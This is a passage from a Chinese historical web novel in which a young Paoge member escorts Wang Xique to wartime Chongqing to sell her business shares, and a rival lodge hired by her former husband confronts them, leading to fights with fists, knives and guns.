孙婆子似乎有些不好意思,扭捏了好久都没开口,还是王喜雀看不下去了,代为开的头。
“今年年初,报纸上说日本飞机已经飞到重庆了,耀武扬威地。”
王喜雀说到这事儿,也是很愁的样子,“我们担心重庆早晚要被轰炸,想把重庆的产业卖了,让青竹叶她们都回成都这边来……”
有王喜雀开了头,孙婆子终于敢说话了,“我家铜铃在重庆那边好了个姑娘,若是带回来,得有份活路干,不然怕养不了家……”
周立行思考了下,明白了王喜雀和孙婆子的担忧。
王喜雀和孙婆子毕竟都还依附在木茶商的生意产业里,青竹叶也好,木铜铃也好,都不能让木茶商知道,若是晓得了这两人,木茶商这人会不会报复,谁也不知道。
这事,周立行突然明白了自己跟方结义比起来差在哪。
他不是差在年纪,也不是差在钱财。
他是差在没有本事,没有身份,没有自己的势力。
方结义的堂口,人多,事多,若是方结义不带人出川,也许再培养他个三年五年,他或许还能继续升排,资历够了,便能真正地当个爷,若是羽翼丰满,也许能拉起自己的一批兄弟,单独开个堂口。
可现在,方结义基本把亲信都带走了,留在堂口里的人是靠方结义的余威镇着。
他虽然是名义上的代八爷,可他这一出去就是一年,现在堂口有没有什么变化,他也不清楚。
即便他没走,堂口还有上面的三爷五爷在,他凡事也只能商量,并不能做主。
孙婆子这般说,周立行知道她可能是想着木铜铃能跟着自己进堂口。
可是眼下的忠义堂,已经不是方结义的忠义堂了。
周立行脑袋里转了一个圈,他想到,自己也应该要留后路了。
他想到了刘五嬢,想到了失去双腿的刘愿平,想到会理县的三刀凉姐姐。
“喜雀姐,方大哥走
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了,据传回来的消息,外面的情况很不好,带出去的兄弟们已经死伤过半。”周立行言语中的沉重无法掩盖。
“堂口里的事,我回来之后还得再熟悉熟悉。”
“若是木铜铃想回四川,我倒是有个地方可以推荐。我先去问问,若是可以,再来告知。”周立行如此说道。
孙婆子已经很高兴了,只要得了小八爷的一句承诺,她知道这事就好办。
“行善兄弟,这几次三番的都靠你,真的是太感激了。无论事成与否,老婆子我都记这份恩情。”
王喜雀在一旁咬了咬嘴唇,似乎也有话说。
周立行看向王喜雀,假意伸手在她眼睛前面晃动。
“姐,走神了?你说就是了,你说的事,我都办。”
王喜雀条件反射地给了周立行手背一巴掌,周立行也不躲,笑嘻嘻地任由王喜雀那柔软细腻的巴掌拍他。
倒是王喜雀,感觉自己像是拍在了一块石头上,没把别人打痛,自己手心反倒是震得发麻。
“我上回给青竹叶去了信,询问她是否愿意回四川这边来。她回信说重庆那边此刻云集各方达官巨富,修房修路牵电线,正是发展产业的时候,她不愿意回。”
王喜雀忧心忡忡,满脸愁容。
“我想去一趟重庆,当面和她商量。若是她真的不愿……我想要撤股……”
“当初我送过去的那些女孩子们,我也想问问,她们是想留下,还是跟我走……”
周立行听的有些云里雾里,“姐,把她们带回来,放哪里呢?”
王喜雀这才有了些笑意,“也许和你想给铜铃找的地方一样。”
周立行眨了眨眼,突然反应过来,王喜雀之前就和刘五嬢搭上了线,这两年来肯定没少往来。
狡兔三窟,喜雀姐果然是聪明,四处刨窝呢!
想到这里,周立行突然茅塞顿开,他想要有本事,就应该多和有本事的人合作!
眼前这个姐姐是他喜爱的人,竟让他忘记了,这个姐姐也是夹缝中能茁壮成长的厉害人物啊!
“姐,我的姐,你也跟我合作合作啊!我跟你说,会理县那边有个分堂,里面有个姐姐外号三刀凉……我们那边也可以搞个窝子……”
说到生意,王喜雀立马精神了,话题差点被带偏,“那边有什么特产,适合做什么生意……啊等等,我想请你陪我去一趟重庆……”
周立行愣住,“你现在能到处走了?”
王喜雀点头,一旁的孙婆子接话,“是啊,那个木茶商被困在武汉回不来,没见咱们这房里下人都跑光了嘛。”
说完还表个忠心,“我不一样,我把太太当亲女儿看的,我不会跑。”
周立行听得心中狂喜,恨不得那木茶商直接被炸死在武汉。
他忙不迭地点头,“好,行!什么时候出发?”
虽说王喜雀没有那么莽,她心疼周立行风尘仆仆刚从云南回来,便说不急,让周立行回家修养几天。但周立行觉得,事不宜迟,第二天就走!
他得趁着堂口几个大爷还没回来,先把王喜雀这事儿给办了,不然怕又不好做事了。
王喜雀一想,是这么回事,便同意了周立行的说法。
当天晚上,周立行去找自己以前公路局认识的司机朋友们,买好了车票。
也是因此,周立行和上门急着找他的谷娃子石娃子错过了。
47.重庆
这一趟去重庆,走的是陆路和水路的混合。
差不多一样的时间,两年前的时候,周立行和黑老鸹一起,带着知书知礼两姐妹去奔赴重庆。
此时此刻,再看江边风景,听这船工号子,周立行心中莫名有些悲伤。
周立行带着阿涅去船尾透气,王喜雀和孙婆子也跟着过去。
“太太,这江面上的船,有点多噢。”
孙婆子并未去过重庆,她有些晕船,却不愿意自己一个人在房间里休息,亦步亦趋地跟着王喜雀。
王喜雀以前跟着木茶商走南闯北过,即便这两年被放在成都算是半关着,平日里也爱去茶馆听天南海北的消息,知道的总是要多一些。
“去年冬天,便听闻民生公司安排了客轮货轮到南京和芜湖参加抢运,几千吨的军工器材,都是经宜昌走川江航运到的重庆,据说还送了好些南京的难民到四川来。”
王喜雀小声地回答孙婆子,也是跟周立行聊天。
这话被旁边的几名商人听了去,他们回头一看,见一名穿着真丝绣花夹棉袄子的美艳夫人在说话,旁边站着一名小十岁左右的男性亲属,还带着个仆人姿态的老婆子,以及一看就像滇西人的小孩,便忍不住多打量了几眼。
周立行穿着王喜雀给购置的新衣,他扮作王喜雀的弟弟,穿的是一身洋装。
他宽肩窄腰长腿,气质坚韧,身上有股子杀气,乍眼一看,不像是商人,倒是几分像军校的学生。
那几人觉得这姐弟俩可以相交,便自来熟地接了话头过来。
“这位夫人说得对,从枯水期到丰水期,民生公司各轮满负荷运行,这川江上的其它船只也受了鼓舞,纷纷从重庆往上运输各类机器,乐山这边也是建起好多工厂呢!只有这样,才能不断生产前线需要的各类物品。”
一名颇有书香气息的商人接话。
“外国轮船这些月来,哄抬运费和票价。民生公司则不同,运得越多,运费越低,难童免费,学生减半,难民统一只收一个低价。”
周立行站上前,把王喜雀挡在了身后。
他记得上一回坐船,知书知礼便是差点被一个鸦片商人认出来,此刻便多了些心眼。
“如此来说,民生公司当得上民族脊梁。”周立行赞叹了一句。
那几人相互谈论着,把话题续了下去。
“日寇的军机今年1月便袭击过宜昌了,到如今日寇已逼近武汉,我听闻宜昌那里很是艰难,滞留的各类器材有数十万吨,全国的兵工、航工、重工轻工的机器都在那里等待转运;还有急于离开宜昌的难民们、前线撤退下来的伤兵散兵们,各类需要撤往后方的老师学生和技术工人们……”
“还有两个月,长江三峡便又要进入枯水期了,现金日寇来势汹汹,若是武汉被占,那宜昌可就凶险了。”
“这川江航线,今年累死的纤夫船工比往年多了好几倍,你看着满山峭壁、险滩石路,都踩出了血脚印……”
“你见川江航线难,滇西那边修路也难,这边一捧江水一捧血,那边一尺公路一尺骨,更别说前线,一次会战便是数十万的牺牲……”
“国难当头啊……”
周立行的手不自觉地握紧,他刚从滇西用血肉筑成的公路上回来,现在又看到了一条血肉正在拉动的水路。
滇缅公路,川江航线,还有不断后撤的战线……不知道方大哥,是否还活着。
周立行没了跟他们谈话的心思,抱拳行礼后,带着王喜雀回了船舱。
从乐山前往重庆的客轮没有那么拥挤,他们依旧是住的一个单间,周立行打的地铺。
夜间下起了雨,周立行睡得有些浅,他翻来覆去地说不着,莫名想起了当年半夜来敲门的女人,叫紫苏。
当初黑老鸹还给了她一张宝片,也不知道她命运如何,是否还活着。
做了一晚上的乱梦,周立行早上起来还有些恍惚。
王喜雀见周立行有些愣神,便关心道:“昨晚睡得不好?”
周立行将当年紫苏的事儿告诉了王喜雀,他也不怕王喜雀笑话,忍不住地说心里话。
“……黑老鸹说过各人有各人的命,但我还是有些遗憾,当初没能救她。我总觉得,其实黑老鸹也是很想救人的。”
王喜雀莫名觉得心中一软,眼前这个已经有成年男子模样的弟娃,心地还是那么赤诚,她越是和他走得近,越是能感受到他那金子般的心。
他说着的是紫苏,可眼睛看的是自己。
她比他大十二岁,她怎么会看不明白呢……
“你……救不了所有人。”王喜雀不知道该怎么去劝慰,她有千般万般的言语,却不知道该怎么说出口。
“你还小,还会遇到很多人,可能她们都有自己的悲惨,可能她们还会向你求助……但你不可能帮的了每一个。”
“哪怕日后你能当个堂口的龙头老大,或者更有其它机缘,有钱也好有权也罢,哪怕你成佛当菩萨,这世道不变,受苦受难的人便永远都那么多,帮不完的……”
王喜雀捏着袖口,声线有些发抖,她莫名地感受到寒冷。她想说的,她认为弟娃听得懂。
“不必介意自己救不救久得了别人,你有过这份心,就已经很好了……没有什么事情是非做不可的,没有……”
“我知道。”周立行斩钉截铁地打断她。
“我知道!但是,只要我遇到了,只要我愿意了,我想救就救,想帮就帮!只要我想,那就是非做不可的。”
“姐,我确实比你小。可真心和勇气,又不是靠年纪来衡量的。”
周立行上前一步,把不知为何发着抖的王喜雀扶住,牵引着她到凳子旁坐下。
王喜雀的眼神有些涣散,她默不作声地坐着,像是没听见周立行的话,但她那带着伤痕和薄茧的修长手指,却蜷缩了起来。
周立行讲出了心里话,心跳如擂,他看着王喜雀苍白的神色,却无法继续再说下去。
他可以诉衷肠,但他不能奢求对方一定要回应。他还小,他可以用很多很长的时间去陪伴,去证明。
*
重庆的码头,比两年前更加热闹了。
民生公司的轮船焦急地航行在江面上,各类物资在重庆的码头上堆积转运,人声鼎沸,处处忙碌。
周立行记性好,他记得当初走过的每一条路,即便此时已经多修建了许多房屋街道,他依然准确地找到了青竹叶所在的店铺。
这次前来,王喜雀没有再托人带信,她和青竹叶多年未见,也担忧此次若是意见相左,那么今生一别,怕是再无相聚之日,索性直接前来。
青竹叶不在总店里,刚好是知书作为账房守店,她没一眼认出变化颇大的周立行,倒是认出了依旧美艳的王喜雀,连忙跌跌撞撞地从柜台后面跑出来,又惊又喜地抱着王喜雀尖叫。
青竹叶接到口信,听闻王喜雀来了,赶紧叫滑竿把她抬回店里时,知书知礼两姐妹都到了二楼的会客室,跟王喜雀聊了半天了。
“喜雀姐!”
青竹叶跑得气喘吁吁,平日里打理得一丝不乱的发髻都给跑歪了。
她常年在外跑生意,风吹日晒、喝酒抽烟、打牌熬夜哪样都来。虽说她比王喜雀还要小一岁,然而她眉眼间已经有了细纹,身子也长胖了许多,看起来有了嬢嬢的气势。
王喜雀站起来,她虽然已经三十岁,却容颜未改,和当年她与青竹叶分开时毫无变化,纵然旅途疲惫,她依旧是那么神采奕奕,明艳大气。
义结金兰、共苦同甘的两姐妹深深相拥,一切尽在不言中。
姐妹二人多年来都是靠写信交流,此时见了面,自然是说不完的话。
知书知礼两个也不打扰,知礼自告奋勇带孙婆子去另外一个店找木铜铃。
阿涅第一次来重庆,又是小孩心性,想出去玩,周立行便让阿涅跟着知礼她们一并去玩一玩,有什么好吃好喝好玩的想买就买。
阿涅高高兴兴地拿着周立行给的钱去了,周立行也没有打扰青竹叶和王喜雀的叙旧,他去一楼铺面找个凳子坐着休息去了。
姐妹两人把各自这些年的酸甜苦辣讲了一遍,才进入正题。
青竹叶知道王喜雀这趟来到底是为何,她有些伤感,“喜雀姐,你的想法我都明白。不过我个人的意见还是想留下来。”
“重庆这边山高水远,已经是政府陪都,若是这里都沦陷了,那国家也就亡了。走哪里,都一样。”
“现今这边大兴工厂建设,每日都有成千上万的下江人来四川讨活路,能留在重庆的都是有权有势或有本事的,这可是陪都,现在的地价都翻倍了。”
王喜雀点着头,“你说的道理,我也想过。”
“可是我听说,日本人的飞机厉害,飞得远,天上的仗,我们打不赢。去年年底,南京那边杀的多惨呀,这陪都他们岂有放过的道理?”
“今年二月,我听说已经有膏药旗的飞机来过重庆了,只不过是雾大,他们看不到什么就乱丢了些炸弹而已。四川那么大,我们再往里走一走,避一避,总归是更好一些。”
青竹叶不知道想到什么,她勉强一笑,摇着头,“喜雀姐,我这边不好走的。我的堂口不会让我走,我会连累你的。”
王喜雀讶然,“咋呢?!”
青竹叶摇着头,不愿再说,“姐,不是我要瞒你,而是说了也没用。今日你能冒着危险来找我,还给我铺了那么好的退路,这
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情义此生也难以报答。但……你就当我是不想走吧。”
“我们的那些产业,若是你想出手,该分我的你看着分,剩下的我可以帮联络人来收,保证给你办的巴巴适适的。姐,我走不了。”
话说到这个份上,王喜雀知道多说无益。青竹叶在重庆这边经营了这么些年,也会有自己的判断。
“乐山那边也在建厂,我给你留个股份。”
王喜雀轻轻握住青竹叶的手,“若是……真到了那个时候,该跑就跑,什么都可以舍下,唯有命是自己的。”
青竹叶双手握住王喜雀,“我知道。你难得来一趟,既然那死杂种在外面没回来,不如你趁此机会把钱财收拢,跑了吧!”
王喜雀抿了下嘴,“是有这个想法……但……这年头乱,谁知道会不会出了狼窝又进虎口……”
青竹叶突然伸手捏了一把王喜雀的脸,颇为促狭,“怕什么,千金难买有情郎!你不会看不出来,那小兄弟的情义吧?他看你的眼神,就像是冰里面藏的火,啧,带劲!”
被青竹叶这么一闹,王喜雀什么伤感都没了,她甚至有些气馁,合着是个人都能看出来周立行的心思,她可不能再这么拖下去了。
青竹叶和王喜雀两人都是雷厉风行的性子,见面第一天便定了下一步如何干,但处理资产,不是三日两日能搞定的。
当初王喜雀送过来的人,除了知书知礼两姐妹,还有另外的五个女孩。
此时那五个女孩都在重庆成了家,有人孩子都三岁多了。这些结婚成家的女人,都要跟家里人商量。
都说故土难离,能在人熟地熟、亲朋近便的家乡生活,谁又愿意去未知的地方开始新生活呢。
当初那五个女人逃离魔窟的时候自然是想走得越远越好,此刻已经安稳成家了,都是不想再波折的。
知书知礼两姐妹在重庆这边考上了学校,两人轮流着一人上学一人上课,这么久了班里没人知道她们是两个人,就这么一边工作一遍读书,忙得不亦乐乎。
这两姐妹放不下学业,想把书念完再走。
如此谈了一圈,便只有木铜铃愿意跟着孙婆子去乐山那边安家,他谈了一个重庆的孤女,大家都是无牵无挂的人,孙婆子死心塌地地跟着王喜雀,他便也有学有样,决定也跟着王喜雀做事。
人员去向都议定,便只剩钱该如何分配了。
产业都是记名在青竹叶身上,青竹叶每年都是想方设法给王喜雀带一些分红的金银去,若是实在不方便的,她也会给王喜雀打上一张签字按手印的欠条。
这回王喜雀过来,欠条单子也是一并带过来的,准备当着青竹叶的面烧毁。
这姐妹二人都是一派诚心,相互信任,没有什么相互防备的小心思,说话推心置腹,做起事来自然顺畅。
青竹叶衡量了一下自身实力,她自己接手了几个小铺面,大点的商铺和货品,她交由自己所在的堂口去接手,这般虽说不至于卖高价,但也不会过于被压价,且有她这个中间人在,折合的金条也能保证不被黑吃黑。
她们还入股得有本地的一些纺织厂和其他产业,这些就稍微麻烦些,但最近有很多有钱的下江人来认购各类股份,她们转卖的也很快,就是有些手续需要走。
王喜雀和青竹叶二人多年来难得相聚,这些时日来形影不离,姐妹俩说不完的话,逛不完的街。
周立行便当一个沉默的影子,履行着他护卫一般的职责,从不接话插嘴。
青竹叶带着王喜雀吃了山城的毛血旺,尝了特色的烧鸡公,吃了喷香鲜辣的火锅和烤鱼,逛了愈加繁华的城区,二人很是难得地过了一段时间快乐时光。
原本以为一切都这么顺利,周立行甚至已经在想着,等回了成都,他便要认真地跟王喜雀讲一讲。
然而这一日,青竹叶去最后的股份手续,却出了意外。
青竹叶并不知道,她与人一起到商会办理股份交接手续的时候,被人给盯上了。
她开开心心地回到家,将那银行支票给了王喜雀,喜滋滋地说一切终于搞定。
晚上的时候,因想庆祝一番,青竹叶决定亲自下厨做火锅,知书知礼两姐妹来帮忙洗菜切肉,周立行当起了灶下郎君,专门烧火。
阿涅和木铜铃虽然一个是罗倮族一个是白族,但两人都是云南人,在外自然而然的玩到了一块儿。
这两人也商量着做几个云南菜给大家尝尝,孙婆子帮忙买了好些香料,三人占了一个灶头搞了起来。
王喜雀完全插不上手,只好在堂屋里摆碗筷,等各色菜品一出,大家热热闹闹地坐到一起,吃饭聊天,笑作一团。
而这时,有一群人毫不客气地用力拍响了青竹叶家的大门。
48.重庆
夜已黑,白日里挑水工们打湿的青石板还未干透,走起来有些路滑,路边上挑起来的电线杆子亮着灯泡。
远处沿街的吊脚楼中点着昏黄的煤油灯,来来往往还是有些行人未归,夜里的山城依旧有着烟火气。
这时候,一群穿着黑色短衫、腰间别着刀枪的袍哥兄弟们杀气腾腾走来,停在路边敲响一家人的房门,自然吸引了来往人员的注意,邻居们也忍不住探头探脑地看过来。
“青竹叶,出来,我们礼明公口的舵把子,已经跟你们三江堂的刘老大知会过了,今晚请你跟我们走一趟。”为首脸上有刀疤的男人使劲敲着门,声音如铜锣般大声。
一会儿后,青竹叶打开大门,走出来往门口一依,不阴不阳地冲门口的人笑道:
“是什么事情,天都黑了,还来敲寡妇门啊?礼明公口的舵把子我上次喝茶也见过,没听说喜好寡妇呀?”
周围伸头探脑的邻居笑出了声,刀疤脸气不过,往旁边大吼,“哪个再笑,老子给你们两刀信不信!”
邻居们也有不怕死的,有人高声武气地回应:
“给老子两刀算锤子本事,半夜来欺负人家寡妇,那才是大本事哦!果然堂口越大越威风,下回怕是要直接抢人呢!”
刀疤脸眼见自己的行为已经青竹叶带歪了,火冒三丈,“你们乱说个卵,是有人请了我们公口找人,人家说你青竹叶是他跑掉的小老婆!我们带你回去对质的!”
青竹叶心中咯噔一声,面上不显,她上下打量刀疤脸:
“哟?人家说啥子你们就信?确定不是哪个富商看上我了,既舍不得请媒婆上门,又不愿意给钱讨好我,就想出这么个烂招吧?”
刀疤脸一愣,被戳中了,来公口出钱请人做事的,确实是个云南富商。
“小老婆?我老公是三江堂抢地盘时候被砍死的,街坊四邻和堂口兄弟都晓得,你们不晓得啊?”
青竹叶观察着刀疤脸的表情,她摆出一副冷笑,“一张狗嘴上嘴皮搭下嘴皮,就能说我是别个的小老婆了?那我幺儿脸上有道疤,所有有疤的都是我幺儿哦!”
刀疤脸被青竹叶说得脑袋发晕,他辩不过,只得说,“舵把子请你过去一趟,当面说……”
“当锤子面,说个卵子!”
青竹叶双手叉腰,怒目圆睁,“哪有天都黑了来喊寡妇上门的!火烧房子水淹祖坟,都要等明个白天!”
刀疤脸见青竹叶油盐不进,下不来台,嘴上说不过,干脆动手,他上前一步,蒲扇大的手向青竹叶钳制而去。
一道劲风袭来,木头凳子屋内直射而出,撞开大门后劲速不减,直击刀疤脸脸庞。
刀疤脸大惊退后,闪身躲过,凳子砸在他身后的兄弟身上,肋骨碎裂的声音伴着凳子落地的声音一同传来。
周立行从大门内走出,他轻轻动了动脖颈,狼一般的眼睛环视了周围一圈,站定到青竹叶面前。
“哪个要带我姐走啊?”周立行轻声问道。
他走到刀疤脸面前,眯着眼睛微笑,“你?你不行,你打不赢我。”
刀疤脸被挑衅,怒不可遏,抽出匕首就刺了上去。
周立行双手截腕,一招便缴了他的匕首扔掉,下腿顶膝直接撞在刀疤脸的胃上,一手推拿,锁住刀疤脸的脖子,另一只手卸了刀疤脸腰后的枪,打开保险,对准了刀疤脸的太阳穴。
三招见胜负,周立行大气都没有喘一口。
刀疤脸的兄弟们傻眼了,谁也没想到这里还有一个练家子,不仅会武,还懂枪。
他们一时间拿不定该不该一拥而上,可先机已失,人没有枪快。
“小兄弟,敢问是哪个堂口……”
刀疤脸被枪顶着头,冷汗都下来了,但他转念一想,自己才是地头蛇,这个青竹叶的弟弟听口音可不是重庆本地人。
周立行心知光凭自己一个人的本事,吓得住今晚也镇不住长久,不如扯虎皮当大旗,便堂堂正正地回答,“成都忠义堂,方结义团长的下属,排五,是个纪纲。”
说完,周立行放开了刀疤脸,他平静地把手枪还给对方,摸出自己身上的枪晃了晃。
“天黑了,请不了各位弟兄的茶,明日我在陪我姐去你们公口一趟,可好?”
刀疤脸和自己的兄弟们对视一眼,心腹在其中点头,他也明白,此刻要么火拼一场——未必能打赢!
对方虽然只有一个人,但也带了枪,万一死几个兄弟来摆起不说,若是对方真是能拉起一个团的人的堂口,后续不知道多麻烦。
所以,不如退一步,只要有人一直跟着,他们也不可能跑得出码头。
“五哥说的对,天黑路滑,我们不惊扰大姐了,明日还请到礼明公口一叙。若是那富商乱攀咬,我们也定时会给青大姐撑腰的。”
那心腹站出来,行了个袍哥礼仪,说得面上生光。
然而也没讲,要是真的富商乱咬,他们要咋个撑腰。
青竹叶听着场面话,冷笑着掏了掏耳朵,全当放屁。
周立行敷衍地双手抱拳回了礼,目送他们离开。
青竹叶则是赶紧向邻居们道谢,感激他们仗义执言。
屋内,王喜雀等人听着外面的声音,众人均是大气不敢出。等到青竹叶和周立行回来了,大伙儿才松一口气。
“青妹,这到底是怎么一回事?”王喜雀心中不安,总觉得定是发生了什么她们不知道的事情。
青竹叶也有些忐忑,“以前也不是没遇到过打我主意的人,但这种说法,还真是第一次遇到……”
周立行略一思考,想到一个问题。
“你们都说那个木茶商被困武汉,可民生公司这段时间航线不断,运送了许多物资和难民来重庆。有没有可能,那木茶商来了重庆,无意间见到了青姐,然后出钱请礼明公口……”
青竹叶悚然一惊,想到今日去商会会馆去办手续时,似乎后厅有人
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。
“天老爷,有可能……”
她现在甚至巴不得真的是有不要脸的富商看上自己,也不要是被那个木茶商阴差阳错地给认上。
王喜雀垂眸,心中狂跳,她上前一把拉住青竹叶的手,“钱财不要了,我们今晚就走!青妹,我们……”
青竹叶握住王喜雀的手,缓缓地摇头。
“我明日若是不去公口,反倒是坐实了他的污蔑。我算什么小老婆,不过是个辞职的管事而已。”
“事情过去这么多年了,我在重庆这边嫁人又丧偶,哼,按他们男人的理论,我早就是别人家的婆娘了,当初堂口还是办了酒宴的呢!他这番敢来,我倒是要让他出出血才能离开!”
毕竟在这里经营多年,青竹叶有自己的底气,今晚就算周立行不出手,她相信自己也不会被带走。
平日里她仗义疏财,四舍邻居们都受过她的恩惠不说,她也是安了好些堂口的兄弟到周围的,刚刚那个丝毫不惧敢出口跟刀疤脸说话的,也是她常年派人在照管对方瘫痪卧床的母亲。
可周立行不这样想,他端起桌上尚未凉透的茶水喝了一口,说出冷静且残忍的话:
“青姐,你们堂口老大得知了消息,都没有派人来提前告知你一声。”
青竹叶自嘲地笑了下,“那是自然,我们堂口不大不小,在这山城排不上什么名号,遇到厉害之人的时候,谁管什么兄弟姊妹情义滔天。”
“大多数人都是嘴上说得豪情万丈,能像立行兄弟你这样做到的,少之又少。”
“我顶多是借堂口的力,让木茶商吃教训而已,就算敲出些钱财,大头也是堂口得。我青竹叶,要的只是让外人知道,我青竹叶不好惹,有堂口会给我出头,便够了。”
“他们对我可能有五分分的真心,我对他们也有五分的假意,都是相互的。”青竹叶端起一杯茶,敬周立行。
“立行兄弟,明日还得麻烦你陪我一趟,我才能狐假虎威。”
周立行看向王喜雀,他是王喜雀邀请陪同来保护王喜雀安全的。
王喜雀心神不宁,见周立行看她,便点点头。
“你去吧,我就待在家里,哪里也不去。”
“我觉得他们肯定会派人跟守这里,在我们离开之前,你们都不要再出门了。”
青竹叶如此说道,她有条不紊地开始安排后续。
“知书知礼,等我们明早一走,你们换男装出门,去店里告诉其他管事,所有员工放假三天。另外那五位姐妹,你们托人带纸条,让她们归家一个月不要外出。”
“如果真的是那个木茶商,最好是不要让她看到喜雀姐……只看到我是没什么的,毕竟当年我就是跑了。但若是发现喜雀姐和我一直有联系,他定是要把所有的怒气都发在喜雀姐身上。”
周立行点点头,吩咐阿涅,“阿涅,铜铃,你们俩陪喜雀姐和杨姑婆留在家里,除了我们回来,其他任何人敲门都别开。”
49.重庆
秋冬的重庆雾气比成都更浓重,白茫茫一片绕在石梯上,好似人在云中走,脚下简直看不清路。
青竹叶没有穿平时那一身翠绿镶朱红边的夹棉旗袍,而是大清早的用烧过的火钳夹了卷发,戴着一定棕红色的英伦帽,身上穿的是一身黑色毛呢的洋装套裙,脚上穿的是小羊皮的棕色短靴,她昂首挺胸地走出门,招手换来了旁边等候的滑竿。
抬滑竿的人是昨晚青竹叶拜托人安排的,青竹叶坐上竹椅子,两个矮壮的汉子抬起来往前走,周立行跟在了旁边,他注意到这两个汉子有一个是昨晚仗义出言过的人。
“青大姐,大爷说昨晚事出突然,派来传话的兄弟半路摔了跤,来迟了,到的时候你家弟娃已经把事解决,所以今天派我和齐老幺一起抬你去,我俩今天保你安全。”
另一个矮壮的汉子开口说道。
青竹叶点点头,也不去追究这话的真假,她一脸善解人意地感激道,“谢谢兄弟们,走吧。”
周立行没看那个说话的人,说的是真是假都无所谓,他看向那个齐老幺,也就是昨晚也在的男人。
齐老幺向周立行点头,算是打过了招呼。
滑竿还没有走出拐角,已经有身着靛蓝短衫的人上来抱拳:
“青大姐,小兄弟,请跟我来。”
周立行看了那人一眼,喲,眼皮子都是青的,看来是守了一夜,还真的怕他们半夜就跑呢。
一路爬坡上坎,蜿蜒曲折,走了约莫半个多时辰,才到明礼公口所在的茶馆。
这茶馆开的富丽堂皇,雕梁画柱,彩漆描金,一看就不是普通人进的茶馆;而它旁边挨着的,是一家同样奢华风格的商会会馆。
茶馆门口有堂倌等候着,一见青竹叶下滑竿,一溜小跑地过来,点头哈腰:
“青大姐,来了啊,这边请这边请,大爷说茶馆人多眼杂的不好,咱们旁边会馆里摆了茶桌,过去座座吧!”
伸手不打笑脸人,这堂倌的态度可比昨夜的刀疤脸好太多了,青竹叶本想点头,胳膊却被拽了一下,她回头直接看向周立行。
周立行直觉不妥,他拉着青竹叶的胳膊往回拽,回答道:
“茶馆里宽敞热闹,出点什么事儿看客也多。这商会会馆墙高门深的,不知道会不会关门放狗。”
本来周立行想说瓮中捉鳖的,可那样不等于骂了自己是王八,还是关门放狗好些,青竹叶听得懂,那些人也听得懂。
堂倌笑得尴尬,“我们五爷已经在会馆……”
周立行双手抱胸,横眉冷眼,一身绝不配合的架势:
“咋子呢?你们五爷在关我们屁事!那个污蔑我姐是他小老婆的龟儿富商呢,出来这边对峙撒!咋呢,不敢当着众人的面讲?哼,心虚了嗦?想把我们骗进去杀蛮?”
说完,周立行冷笑着向周围聚过来的人们抱拳,气沉丹田声若洪钟,讽刺效果拉满地喊起长调:
“原来在重庆排得上号的明礼公口哎,还要靠豁人骗鬼的方式去抢别人家的寡妇大姐!真呢有锤子一样大个的本事哦!”
“咋呢不去日本抢几个日本婆娘呢?抢不到日本人,打不到日本人,天天下耙蛋,最会祸害自己人!”
“瞎子进染料铺子——不分青红皂白~!”
“耗子扛枪——窝里横~!”
那堂倌脸上一阵青一阵白,来往的茶客哄笑出声,茶馆里跑出了好些看热闹的,并不宽敞的街道不多一会儿便围起了人。
刀疤脸在会馆那边听到周立行高声武气震若洪钟的骂声,肩也痛来胃也痛。
他们家舵把子自然不会因为这种事情亲自出面,现在出面的五爷脸都气红了,狠狠砸了手里盘的核桃。
刀疤脸拉着五爷,生怕暴脾气的五爷冲出去。
“那小子是个袍哥练家子,会刀会枪,咱们单打独斗打不赢,群殴又没个名头,他说他们舵把子带人出川抗日了……到时候万一是误会一场,咱们还得去成都的堂口喝转转茶,不划算……”
喝转转茶,那可是要给在场袍哥们都磕头的,谁都不愿意丢这个脸。
五爷昨晚就听说刀疤脸一招被卸刀、两招被卸枪、三招当人质的事迹,他年纪大了,也不是打打杀杀的料了,这两年来重庆来了许多藏龙卧虎的下江人,他们现在都长了许多心眼,不像以前那么爱动手打架。
再说天下袍哥是一家,要是人家舵把子真的带人去打狗日的小日本,他们在背后无缘无故弄人家的兄弟,这说出去还了得啊?!
“那个木茶商去哪了?!”
五爷鬼火冒,大清早的木茶商说出去一会儿,然后就没见回来,他这才想说把青竹叶姐弟喊过来,免得在茶馆里万一搞错了丢人现眼。
刀疤脸也迷茫,“他给了堂口钱,各位爷也同意派十来号兄弟给他差遣一段时间。早上见他带着人说去办点事,我也没细问……”
“先把青竹叶姐弟请进茶馆里面的包间吧!再站在茶馆外面骂几句,到时候别人就要说是舵把子喜欢抢寡妇了!”
五爷气不过,踢了一脚地上的碎核桃,“那个木茶商说得头头是道的,要青竹叶不是他的人,我要他好看!”
刀疤脸只好亲自跑出去,向青竹叶一同作揖道歉,请他们进茶馆去。
周立行见刀疤脸这边态度便耙,便也松了口,跟着青竹叶一起进去了。
然而,包间的堂倌耍了一通工夫茶,茶杯都都沏满了,青竹叶和周立行也没等到那富商。
青竹叶心中不安,她一巴掌把茶杯拍翻,怒气满脸地站起来。
“你们明礼公口好逑没意思,我们姐弟来这么久了,那个鬼迷日眼的富商人呢?!你们是逗起我们姐弟好耍嗦?!”
周立行也觉得十分不对劲,他看那被打翻的茶杯滚落下桌,摔得四分五裂,耳边响起了清脆的破裂声。
突然,他意识到一个问题……对方那么笃定说的小老婆,会不会根本就不是针对青竹叶……
周立行蹭地站起来,“姐,我们回去!”
青竹叶也意识到出了问题,他们两人站起来便走。
刀疤脸本也等得坐立难安,他站到门口还想劝一下,周立行直接拔枪对准了刀疤脸。
“让开。”周立行眼中腾起了杀气。
刀疤脸还想说什么,身后进来了一个手下,他见这场面先是愣了愣,然后大声说道:
“五爷请大家过会馆去……说是找到木老板的小老婆了……”
周立行心中狂跳,他和面色煞白的青竹叶对视一眼,收了手枪握在手里,大步往外走去。
青竹叶迟疑了片刻,一咬牙,也跟了上去。
周立行大步若流星,青竹叶跟在旁边一通跑,两人都心急如焚。
刚出茶馆大门,周立行突然站
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定脚步,青竹叶撞在他身上,发出一声痛呼。
青竹叶想问周立行怎么了,又不太好开口,她顺着周立行的视线往前一看,双脚一软,差点没站稳,双手紧紧地抓住周立行的衣服。
茶馆门外,便见一队人将头发有些散乱的王喜雀围在中间,押送一般往会馆里送,孙婆子被拽着头发往前,脸上肿起,一看就是挨了打。
周立行只停顿了那么一瞬,然后他一言未发,迅雷不及掩耳之势扑了上去。
左手成拳,右手抬肘,周立行照面便是一个侧肘击,直取颈部大动脉,一招一个。
众人根本没来得及反应,周立行已经放倒了三个男人,并把孙婆子推了出去。
有反应快的袍哥抽出匕首刺来,周立行闪身躲避,侧踹转身后也从腰间摸出匕首。
